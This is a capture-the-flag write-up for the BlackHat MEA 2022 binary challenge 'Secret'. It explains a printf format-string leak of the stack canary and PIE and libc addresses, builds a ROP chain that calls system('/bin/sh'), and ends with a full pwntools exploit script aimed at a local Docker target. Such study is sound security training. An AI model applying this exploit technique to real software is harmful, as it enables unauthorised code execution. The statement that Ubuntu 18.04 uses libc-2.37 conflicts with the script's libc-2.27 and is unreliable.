BHMEACTF22: Secret

For the birds

I use pwntools for my scripting. While I will show snippets where relevant, I will share the full script at the end.

I will create a follow-up blog on ROP introduction and notify.



Checksec

[*] '/home/levanto/Documents/Return-To-ROP/ChasingFlags/BlackHat/PWN/secret/main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

There is a stack canary - which you have to get if you would need to overwrite a return address.

Rodata

Contents of section .rodata:
 2000 01000200 00000000 506c6561 73652066  ........Please f
 2010 696c6c20 696e2079 6f757220 6e616d65  ill in your name
 2020 3a005468 616e6b20 796f7520 00000000  :.Thank you ....
 2030 536f206c 65742773 20676574 20696e74  So let's get int
 2040 6f206275 73696e65 73732c20 67697665  o business, give
 2050 206d6520 61207365 63726574 20746f20   me a secret to
 2060 6578706c 6f697420 6d65203a 292e0042  exploit me :)..B
 2070 79652c20 676f6f64 206c7563 6b206e65  ye, good luck ne
 2080 78742074 696d6520 3a442000           xt time :D .

You can infer that there are two inputs from the user given by the strings at @offset 0x2008 and @offset 0x2030


Interesting functions (readelf --syms main)

  • main
  • get_name @offset 0x11e9

main @offset 0x1264

Calls a get_name() function; takes input and puts at rbp-0x40(top of the stack)

...
 ; calls to get_name(), no parameters
12c0:       e8 24 ff ff ff          call   11e9 <get_name>
12c5:       48 8d 3d 64 0d 00 00    lea    rdi,[rip+0xd64]      2030 -> So let's get into business, give me a secret to exploit me :)
12cc:       e8 cf fd ff ff          call   10a0 <puts@plt>
 ; Gets user input with gets(rbp-0x40)
12d1:       48 8d 45 c0             lea    rax,[rbp-0x40]
12d5:       48 89 c7                mov    rdi,rax
12d8:       b8 00 00 00 00          mov    eax,0x0
12dd:       e8 fe fd ff ff          call   10e0 <gets@plt>
12e2:       48 8d 3d 86 0d 00 00    lea    rdi,[rip+0xd86]        # 206f <_IO_stdin_used+0x6f>
12e9:       e8 b2 fd ff ff          call   10a0 <puts@plt>
 ; stack canary check
1302:       e8 a9 fd ff ff          call   10b0 <__stack_chk_fail@plt>
1307:       c9                      leave
1308:       c3                      ret
1309:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

get_name @offset 0x11e9

Reads user input to rbp-0x30(top of the stack) and printf() it.

 ; calls read(0, rbp-0x30, 0x1e)
1210:       48 8d 45 d0             lea    rax,[rbp-0x30]
1214:       ba 1e 00 00 00          mov    edx,0x1e
1219:       48 89 c6                mov    rsi,rax
121c:       bf 00 00 00 00          mov    edi,0x0
1221:       b8 00 00 00 00          mov    eax,0x0
1226:       e8 a5 fe ff ff          call   10d0 <read@plt>
 ; prints the input
123c:       48 8d 45 d0             lea    rax,[rbp-0x30]
1240:       48 89 c7                mov    rdi,rax
1243:       b8 00 00 00 00          mov    eax,0x0
1248:       e8 73 fe ff ff          call   10c0 <printf@plt>
 ; stack canary check
125d:       e8 4e fe ff ff          call   10b0 <__stack_chk_fail@plt>
1262:       c9                      leave

The vulnerability

gone fishing in pondf

  • get_name takes user input and displays to stdout using printf() without supplying a format string. A format string attack by passing format strings.

The objective is to leak pointers from the stack - the format specifier %p will be useful here.

What is important to leak:

  • the stack canary
  • the return address to main <- Use this to get pie base(Where the program is loaded in memory)
  • the return address to __libc_start_main_ret <- Use this to get libc base

You have to find the position of our target leaks.

You are an eip inside get_name, this is how the program stack view looks like:

To effect the format string vulnerability, you need to remember you now inside the printf stack, the view looks like:

Our format specifier, “formats” 8 bytes of input(in this case stack juice). So the offsets are:

# printf stack = 0x28; input size = 0x10; get_name stack = 0x30; ret_addr_to_main = 0x8; main stack = 0x40; rbp = 0x8 
offset_to_canary = (0x28 + 0x10 + 0x20)/0x8 # 11
offset_to_ret_from_getname = (0x28 + 0x10 + 0x30)/0x8 # 13
offset_to_ret_from_main = (0x28 + 0x10 + 0x30 + 0x8 + 0x40 + 0x8)/0x8 # 23

# Let's send the first payload
io.recvuntil(':')
io.sendline(f'%{offset_to_canary}$p.%{offset_to_ret_from_getname}$p.%{offset_to_ret_from_main}$p')

response = io.recvline_contains('0x').decode()
leaked_addrs = response.split(" ")[-1].split(".")

canary = int(leaked_addrs[0], 16)
ret_main_addr = int(leaked_addrs[1], 16)
ret_libc_main_addr = int(leaked_addrs[2], 16)

Find resource on understanding format string vulnerability here

There is a rabbithole in printf you can satisfy here and here

Trying to catch a shell fish

Goal: Call system(/bin/sh)

How: Overwrite return address from main; pass “/bin/sh” string as parameter and call system; hopefully pop a shell somehow.

Offsets! You need to figure out, which libc is in the system your program is running.

Running ldd main shows you the shared dependencies of the program(dependent on the system you are running this on).

Locally:

Luckily, the challenge had a Dockerfile which throws a needed clue: the remote server is an ubuntu 18.04. Quick google search shows the libc version on ubuntu 18.04 is libc-2.37.so.

Note, this still took me through some rabbitholes to get the correct libc-2.37 version.

ooor, you could go the cooler route and use libc-database

Mira! You leaked the ret_to_libc_ret_main, despite PIE, the last digits of the address are guaranteed to be static.

ret_to_libc_ret_main = 0x7fd17fbbcc87 # Let's search for 0xc87

Let’s build a ROP chain

This ROP chain has to load the bin_str address to the rdi register(load as parameter), then call system.

Remember, ret is what progresses this chain, from one instruction to another, by returning execution to the stack(where this chain is).

Popping takes the value on the stack and loads it to the register specified. So, pop rdi will load the value on the stack(which you control) to rdi.

rop_chain = pop_rdi + ret + bin_sh_str_addr + system_addr

To get gadget:

# target addresses
system_addr = p64(libc_base + 0x4f420)
bin_str = p64(libc_base + 0x1b3d88)

# get gadgets
pop_rdi = p64(pie_base + 0x1373)

rop_chain = b'a' * 56 # offset to the main function's canary
rop_chain += p64(canary)
rop_chain += b'a' * 8 # pad for rbp
rop_chain += p64(pie_base + 0x101a) # ret to re-align stack


# pass param and call system
rop_chain += pop_rdi + bin_str
rop_chain += system_addr

aaand:

APPENDIX

setup

Wanna try out this challenge? Get files here

Instructions to set up remote env.:

docker build -t secret <path_to_directory_where_you_have_the_dockerfile>
docker run -p 1337:1337 --name secret_ secret

Plus a docker cheatsheet for you ;)

remote("127.0.0.1", 1337) and enjoy!

script

from pwn import *

io = remote("127.0.0.1", 1337)

# binaries we are working with
e = ELF('main')
libc = ELF("./libc-2.27.so") # downloaded from libc.rip

# ********************************************
# * Let's leak addresses that will enable us *
# * to get pie base and libc base .          *
# * We leak:                                 *
# *  - The stack canary                      *
# *  - The return address for get_name       *
# *  - The return address for main           *
# ********************************************


# offset to addresses we want to leak
offset_to_canary = 11
offset_to_ret_from_getname = 13
offset_to_ret_from_main = 23

# Let's send the first payload
io.recvuntil(':')
io.sendline(f'%{offset_to_canary}$p.%{offset_to_ret_from_getname}$p.%{offset_to_ret_from_main}$p')

response = io.recvline_contains('0x').decode()
leaked_addrs = response.split(" ")[-1].split(".")

canary = int(leaked_addrs[0], 16)
ret_main_addr = int(leaked_addrs[1], 16)
ret_libc_main_addr = int(leaked_addrs[2], 16)

# libc offsets
libc_start_main_ret_offset = libc.libc_start_main_return
system_offset = libc.symbols['system']

# offset to ret from get_name
ret_to_main_offset = 0x12c5


# base addresses
libc_base = ret_libc_main_addr - libc_start_main_ret_offset
pie_base = ret_main_addr - ret_to_main_offset

# ************************************************************
# * Now let us prepare our rop chain for the second payload. *
# * We want to:                                              *
# * - Write our command a writeable section in memory        *
# * - Pass address to written section and call system        *
# ************************************************************


# target addresses
system_addr = p64(libc_base + system_offset)
bin_str = p64(libc_base + 0x1b3d88)

# get gadgets
pop_rdi = p64(pie_base + 0x1373)

rop_chain = b'a' * 56 # offset to the main function's ret address
rop_chain += p64(canary)
rop_chain += b'a' * 8 # pad for rbp
rop_chain += p64(pie_base + 0x101a) # ret to re-align stack

# pass param and call system
rop_chain += pop_rdi + bin_str
rop_chain += system_addr

# send the second payload
io.recvuntil(":).")
io.sendline(rop_chain)
io.interactive()

Towards OSCP

AHCTF2021: NameCheck

comments powered by Disqus